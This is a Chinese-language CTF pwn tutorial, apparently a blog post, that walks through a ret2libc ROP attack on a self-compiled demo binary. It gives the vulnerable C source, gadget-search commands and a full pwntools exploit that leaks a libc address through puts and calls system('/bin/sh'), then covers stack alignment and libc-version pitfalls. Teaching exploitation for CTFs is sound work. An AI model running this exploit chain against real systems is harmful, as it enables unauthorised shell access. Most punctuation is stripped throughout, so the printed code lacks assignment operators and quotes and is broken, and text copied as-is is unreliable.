无后门CTF Pwn题怎么做?ROP链构造与ret2libc实战详解
发布时间:2026/9/24 21:57:38 锦皓数字建站

做CTF Pwn题到一定阶段很多人会遇到一个绕不过去的坎费了半天劲把栈溢出点找到了返回地址也成功劫持了抬头一看——程序里既没有system也没有/bin/sh连个类似win()的后门函数都不存在。新手多半会愣在原地这还怎么拿shell老手则会心一笑知道考验技术的时候来了。有后门是出题人给的“送分题”没有后门才是CTF Pwn的主流形态也是区分“会用工具”和“真正懂利用”的分水岭。这篇文章要聊的就是这个系列里最核心的一块内容——ROP链构造。我会用一个没有后门函数、没有现成命令字符串的经典栈溢出题目把整条利用链从头到尾走一遍怎么泄露libc地址怎么算偏移怎么把system和/bin/sh拼进payload最终在没有后门的情况下稳定拿到shell。1. 为什么“没有后门”的题目才是Pwn的常态1.1 后门是送分题没有后门才是门票接触CTF Pwn早期很多题目都带明显的后门要么函数列表里躺着一个system(cat flag)要么程序里直接挂着/bin/sh字符串只需要你把返回地址改成这个函数就完事。这种题本质是“栈溢出返回地址劫持”的基础训练考的是你懂不懂栈布局、会不会算偏移。但真实的比赛里出题人不会天天给你送后门。他们通常只开一个脆弱函数给你一个明显的溢出点然后把可以利用的一切都从表面抹掉。你想要执行命令就得自己想办法从程序本身能访问到的代码和共享库里“借”函数来用。这才是Pwn真正有意思的地方也才是为什么我们要深入学ROP。1.2 NX一开shellcode这条路就断了很多刚学会栈溢出的朋友第一反应是既然我能劫持返回地址那我直接把shellcode写到栈上再跳过去执行不就行了这个思路在很早以前确实可行但现在几乎不会出现在正规比赛的主流题里了原因就是NXNo-Execute防护已经成了编译器的默认配置。NX的作用很简单把栈、堆这些数据段标记为不可执行。就算你辛辛苦苦把shellcode塞进栈里CPU看到那片内存的页属性不允许执行直接给你一个SIGSEGV。所以“往栈里塞shellcode”这条路在NX开启的题目里基本被堵死了。1.3 “间接后门”借用libc里的现成函数那怎么办思路转变一下我们不需要“写入”新的代码只需要复用进程里本来就存在的代码。绝大多数Linux程序都会动态链接libc而libc里躺着大量“危险”函数system、execve、open、read、write。更妙的是这些函数已经加载到进程内存里了地址虽然随机化ASLR但libc内部的偏移是固定的。你只需要泄露任意一个libc函数的真实地址就能推算出libc的基址进而算出system和/bin/sh的地址。这就相当于在程序身上找到了一个“间接后门”——表面上根本没提供shell但借用libc的力量照样能拿到。而这个“借用”的过程就依赖ROP链。2. ROP链的底层逻辑从调用约定到gadget2.1 栈劫持的原理回顾在动手写exp之前先把底层原理梳理透。一个函数调用时会先压栈参数、压返回地址进入函数后在栈上开辟局部变量空间。函数结束时leave指令恢复寄存器ret指令把栈顶的返回地址弹到rip程序接着从那个地址继续执行。栈溢出要做的事情就是把返回地址覆盖成我们指定的任意地址。传统shellcode思路是把返回地址指向栈上的shellcode开头ROP思路则是把返回地址指向程序或共享库里已有的指令序列并且通过连续不断的ret让CPU沿着栈上预先布置好的一串地址依次执行。2.2 32位和64位传参方式完全不同这里要特别强调一个很多新手忽略的区别。32位程序的函数参数全部压到栈上所以你在覆盖返回地址后只要在栈上顺势摆好参数就能凑成一次“假调用”。64位程序就不一样了。System V AMD64函数调用约定规定前6个参数依次放在rdi、rsi、rdx、rcx、r8、r9寄存器里栈只用来传第7个及之后的参数。你在栈上摆一堆参数是没用的程序调函数时根本不会从栈里取前几个参数。所以64位ROP的核心变成了怎么在跳转过程中设置寄存器。常用的办法是寻找类似pop rdi; ret这样的gadget——把栈顶弹出的值装进rdi然后ret继续控制流程。2.3 gadget是什么怎么找gadget就是程序里已经存在的、以ret结尾的极短指令片段。它们原本可能是正常代码的一部分但因为指令解码的灵活性你可以在任意字节偏移处找到有用的组合。找gadget的工具很多比较常用的是ROPgadget和ropper。以找一个pop rdi; ret为例ROPgadget --binary ./rop_demo --only pop|ret | grep rdi输出里会列出所有包含pop rdi的地址。在大多数编译出来的64位程序中这种gadget几乎必然存在因为__libc_csu_init等内容里天然包含类似的寄存器操作序列。另一个更省事的方式是直接用pwntools的ROP封装from pwn import * elf ELF(./rop_demo) rop ROP(elf) pop_rdi rop.find_gadget([pop rdi, ret]).address它会自动解析二进制里的可执行段找到符合条件的gadget并存到rop对象里。如果没找到它会报错你就得换个工具或者用别的gadget组合。2.4 ROP链为什么是一段“指令水流”你可以把ROP链理解成一串精心设计的“返回地址水流”每次执行到retCPU就从栈顶弹出一个地址跳过去执行执行完一小段后又遇到ret再弹下一个地址。栈上每一个位置都在控制着程序的下一个动作。举个例子一个最简单的64位ROP链长这样A * offset addr(pop_rdi) # 执行 pop rdi; ret arg1 # 被pop rdi弹出的参数 addr(function) # 调用目标函数执行到ret时CPU跳到pop_rdi所在地址执行pop rdi把栈顶的arg1弹入rdi再执行ret此时栈顶变成function地址程序跳转到该函数并把它当作“下一次调用”去执行。这样一来你就在没有后门的情况下借用了程序里的现成代码完成了一次带参数的函数调用。3. 实战把一个无后门的Demo打到shell3.1 题目源码与编译为了讲得具体我用一个非常典型的题目形态来做演示。源码如下#include stdio.h #include unistd.h void vuln() { char buf[64]; read(0, buf, 0x100); puts(Welcome to ROP!); } int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); vuln(); return 0; }程序结构极简vuln里有一个64字节的缓冲区但read允许读入0x100字节明显是个栈溢出点。函数列表里没有任何后门也没有/bin/sh字符串。编译时我们保持默认的NX开启同时关闭Canary和PIE让问题聚焦在ROP本身gcc -fno-stack-protector -no-pie -o rop_demo rop_demo.c题目运行后会打印一行Welcome to ROP!然后等待输入。我们要做的就是利用这次输入构造ROP链完成攻击。3.2 信息收集保护机制检查拿到二进制第一步永远是checksecchecksec --file./rop_demo看到的输出大致是项目状态Archamd64-64-littleNXenabledPIEdisabledCanarydisabledRELROpartial这个状态非常典型开了NX导致shellcode不可行关掉了PIE让我们不需要处理地址随机化带来的基址泄露Canary关闭让我们可以毫无障碍地覆盖栈空间。题目唯一需要解决的就是怎么在不执行shellcode的前提下拿到shell。3.3 第一次溢出泄露puts地址由于程序动态链接了libc我们首先要拿到libc的基址。思路是调用puts来输出puts在GOT表全局偏移表里的真实地址。GOT表保存了外部函数的实际加载地址putsgot指向的就是libc中puts函数的真实位置。第一次溢出payload这样构造payload1 bA * 72 payload1 p64(pop_rdi) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(main)为什么偏移是72因为buf占64字节紧接着是保存在栈上的rbp寄存器值占8字节再往下才是返回地址。所以要覆盖到返回地址需要先填满64 8 72个字节。这段payload的执行流程可以拆成四步看vuln执行到末尾的ret时栈顶被我们覆盖成了pop_rdi的地址程序跳过去。pop rdi把栈顶的puts_got弹进rdi然后执行ret。程序跳到puts_plt对应位置也就是调用puts(puts_got)把GOT表里存的puts真实地址打印到标准输出。puts返回后栈顶是main程序从main重新开始于是我们获得了第二次注入的机会。这里打印出来的字符串不是一个规整的文本而是一段内存地址对应的字节流。在本地64位环境里libc地址通常形如0x7f........一共6个有效字节高位两个字节是\x00puts遇到\x00会停止输出。接收并还原地址的关键就在这。3.4 计算libc基址与关键地址接收泄漏数据的常规写法是leak p.recvuntil(b\x7f)[-6:].ljust(8, b\x00) puts_addr u64(leak)recvuntil(b\x7f)会一直收到以0x7f结尾的数据我们在末尾取最后6个字节。因为前面说过地址的高两位是\x00puts输出会在\x00处截断所以实际收到的有效字节数通常是6。用ljust(8, b\x00)补齐到8字节再用u64解析成真正的地址。在pwntools里有一个更省心的办法只要本地能拿到对应的libc可以直接用elf.libc拿到符号偏移libc ELF(/lib/x86_64-linux-gnu/libc.so.6) libc.address puts_addr - libc.symbols[puts] system_addr libc.symbols[system] binsh_addr next(libc.search(b/bin/sh))原理很简单libc内部函数之间的偏移是固定的知道了puts的真实地址减去puts在libc里的符号偏移就得到libc基址再加上system的偏移就得到了system的真实地址。这个计算只要libc版本一致就是精确的。3.5 第二次溢出构造system(/bin/sh)拿到了system地址和/bin/sh字符串地址之后第二次注入就变得顺理成章逻辑上和第一次一模一样只不过目标函数换成了system参数换成了/bin/shpayload2 bA * 72 payload2 p64(ret) # 栈对齐细节后面说 payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr)这里多了一个retgadget这个细节太容易踩坑了我单独在第四章里详细讲。先记住一个结论在64位程序里调system这类复杂的libc函数前面通常需要一个额外的ret来做栈对齐否则很容易在system内部崩溃。发送payload2之后程序调用system(/bin/sh)我们就能拿到一个交互式shell。此时直接在pwntools里执行p.interactive()就能像在终端里一样操作目标了。3.6 完整exp把整个攻击流程串起来完整的exp长这样from pwn import * context.arch amd64 context.log_level debug p process(./rop_demo) elf ELF(./rop_demo) # 先用工具拿gadget地址不同编译环境地址会不一样 rop ROP(elf) pop_rdi rop.find_gadget([pop rdi, ret]).address ret rop.find_gadget([ret]).address puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] # step 1: 泄露puts的真实地址 payload1 bA * 72 payload1 p64(pop_rdi) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(main_addr) p.recvuntil(bWelcome to ROP!) p.sendline(payload1) leak p.recvuntil(b\x7f)[-6:].ljust(8, b\x00) puts_addr u64(leak) log.info(fputs addr: {hex(puts_addr)}) # step 2: 计算libc基址和system、/bin/sh地址 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) libc.address puts_addr - libc.symbols[puts] system_addr libc.symbols[system] binsh_addr next(libc.search(b/bin/sh)) log.info(fsystem addr: {hex(system_addr)}) log.info(f/bin/sh addr: {hex(binsh_addr)}) # step 3: 第二次溢出getshell payload2 bA * 72 payload2 p64(ret) payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr) p.recvuntil(bWelcome to ROP!) p.sendline(payload2) p.interactive()这条攻击链就是经典的ret2libc流程也是绝大多数ROP题的基础模板先泄露再计算最后注入。把这个流程吃透后面遇到的很多变体都只是在这个框架上换参数、换泄露函数、换目标函数而已。4. 我踩过的几个坑栈对齐、截断和libc版本4.1 64位栈对齐多一个ret的重要性第一次按没有ret的方式打64位题时我卡了很久payload看起来完全没问题地址算得也对但一执行system程序就在libc内部崩了报错还特别诡异。后来用gdb跟进去发现崩溃位置往往在system里的movaps指令附近。原因在于System V AMD64 ABI要求在调用一个函数时栈指针rsp必须保持16字节对齐。我们的payload在覆盖返回地址后破坏了原有的栈布局导致跳进system时rsp没有按16字节对齐。很多libc函数内部用了SSE指令比如movaps这类指令要求内存地址16字节对齐一旦不对齐就触发SIGSEGV。解决办法就是在pop_rdi之前插入一个单独的retgadget。这个ret相当于把rsp再多加8字节让栈指针对齐到16字节边界payload2 p64(ret) # 额外的一次ret用于栈对齐 payload2 p64(pop_rdi) payload2 p64(binsh_addr) payload2 p64(system_addr)这里有个实用的调试技巧如果你发现ROP链在目标函数内部崩溃并且崩溃地址靠近movaps之类的指令优先怀疑栈对齐问题别急着怀疑地址算错。加一个ret试一次往往就通了。4.2 puts泄露时的截断和脏数据用puts泄露地址虽然写起来简单但有两个坑。第一个坑是截断。puts本质是“遇到\x00就停止输出”所以如果被泄露地址的高位字节里出现\x00输出会提前结束。好在Linux 64位libc地址的高两位几乎总是\x00剩下的6个字节才是有效信息。接收的时候可以用recvuntil(b\x7f)来截取也可以直接用recv(6)然后ljust(8, b\x00)补齐。但要注意如果地址低6字节里恰好也出现了\x00比如末尾是0x00这种接收方式可能会缺字节导致解析出来错误地址。这种边界情况在真实题目里偶尔会遇到处理办法是改用write泄露固定字节数或者调整接收逻辑。第二个坑是脏数据。程序打印的字符串Welcome to ROP!实际上是puts输出的也就是说泄露地址之前会先输出这串东西。所以接收时要先把这串文本“吃掉”再接收地址。我习惯用recvuntil(bWelcome to ROP!)把前面的内容过滤掉然后精确接收地址字节避免把文本混进地址解析里。4.3 libc版本必须精确匹配这个坑在高版本系统上尤其明显。本地能打通远程一打就崩很大概率不是你的exp写错了而是本地的libc和目标机的libc版本不一样导致puts偏移、system偏移完全不同。举个例子Ubuntu 20.04和Ubuntu 22.04的libc版本不同同一个system符号的偏移可能差很多。远程题目通常会提供对应的libc文件如果没有可以用libc-database这类工具根据泄露出来的地址特征识别版本或者在比赛环境里直接拿给的libclibc ELF(./libc.so.6)本地做题时我建议也尽量用体系匹配的libc而不要依赖系统默认路径。如果发现本地能打通但换台机器或者打远程就崩检查的第一项就是libc是否一致。4.4 别迷信one_gadget接触ROP一段时间后很多人会迷上one_gadget——一条地址直接执行execve(/bin/sh)不需要拼接参数看起来无比优雅。但它的代价是约束条件苛刻通常要求某些寄存器在特定值栈布局也得满足要求比如[rsp0x30] NULL之类的条件。在我自己做题的经验里one_gadget适合当“快速尝试”的手段但不适合当唯一指望。一旦约束不满足程序秒崩而且崩得莫名其妙。相比之下老老实实拼接pop_rdi; ret /bin/sh system更可控逻辑也更清晰。先把稳定的方案掌握好再把one_gadget当优化手段而不是反过来。5. 从这道题延伸出去的路5.1 ret2csu当pop rdi; ret不够用如果题目里找不到pop rdi; ret这个gadget或者你想调用的函数需要多个参数比如write(1, addr, 8)那就要用到ret2csu了。在较老的编译环境中__libc_csu_init函数里天然存在两段通用gadget一段负责设置rbx、rbp、r12-r15这6个寄存器另一段负责把r13、r14、r15分别赋值给rdx、rsi、edi然后调用[r12 rbx*8]指向的函数。通过灵活组合这两段你几乎可以模拟任意函数调用。ret2csu可以说是64位ROP的“万能钥匙”在某些极端环境下它就是唯一的选择。建议学完基础ROP后专门找两个ret2csu的题目练一练理解它怎么设置寄存器、怎么控制函数跳转。5.2 SROP与one_gadgetSROP是另一种利用思路核心是伪造一个sigreturn系统调用的栈帧通过syscall指令一次性设置所有寄存器包括rip、rsp、各通用寄存器。它最大的优势是gadget要求极低只要存在一个syscall; ret就能构造出相当强大的原语。one_gadget前面说过就是找libc里满足特定约束的execve(/bin/sh)单条地址。两者结合使用的时候可以先用one_gadget的约束条件检查栈不行再转SROP或者用SROP清栈后再跳one_gadget。这些进阶玩法能极大拓宽你面对不同题目的应对空间但前提还是先把基础的ret2libc练熟。5.3 从手动到自动化写这篇文章时我故意把gadget地址的获取放在exp里手动查找让你理解每一步在干什么。实战中pwntools的ROP类可以帮你自动找gadget、自动拼链子rop ROP(elf) rop.call(system, [binsh_addr])它甚至能根据你的调用目标自动在中间插入栈对齐的ret。但自动化工具越强大越要求你理解背后的原理否则一旦工具拼出来的链子在目标环境上崩了你连排查的思路都没有。我建议是先用纯手动的方式把这道题完整打通一遍再用ROP(elf)改写感受一下工具到底替你做了什么。这个系列分享一路写到现在我个人最大的体会是ROP链最核心的思维能力不是背payload模板而是养成一个习惯——每一段代码执行时CPU的栈顶rsp指向哪里、下一个ret会跳到哪、这时候寄存器里是什么值。你把这个“状态追踪”的过程练出来了遇到再奇怪的题目都能有条不紊地拆解。练的时候多打开gdb用x/20gx $rsp盯住栈上数据的流动看一遍胜过我在这里讲十遍。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。